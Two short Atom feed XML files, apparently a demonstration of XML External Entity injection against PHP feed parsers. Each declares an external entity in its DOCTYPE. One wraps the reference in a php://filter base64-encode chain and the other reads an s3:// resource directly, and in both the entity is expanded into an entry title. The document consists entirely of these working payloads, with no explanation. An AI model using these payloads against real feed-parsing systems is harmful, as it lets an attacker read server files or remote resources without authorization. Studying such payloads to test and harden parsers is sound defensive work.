base64-kurorekishi.xml

<!DOCTYPE feed [
<!ENTITY kurorekishi SYSTEM "php://filter/convert.base64-encode/resource=s3://phpcon/ebihara-kaicho.jpg">
]>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>example</title>
<updated>2013-06-24T11:56:27+09:00</updated>
<id>example</id>
<entry>
<title>&kurorekishi;</title>
<link href="http://example.com/" />
<id>http://example.com/1</id>
<updated>2013-06-26T11:56:27+09:00</updated>
<summary>...</summary>
<author>
<name>example</name>
</author>
</entry>
</feed>

kurorekishi.xml

<!DOCTYPE feed [
<!ENTITY kurorekishi SYSTEM "s3://phpcon/ebihara-kaicho.jpg">
]>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>example</title>
<updated>2013-06-24T11:56:27+09:00</updated>
<id>example</id>
<entry>
<title>&kurorekishi;</title>
<link href="http://example.com/" />
<id>http://example.com/1</id>
<updated>2013-06-26T11:56:27+09:00</updated>
<summary>...</summary>
<author>
<name>example</name>
</author>
</entry>
</feed>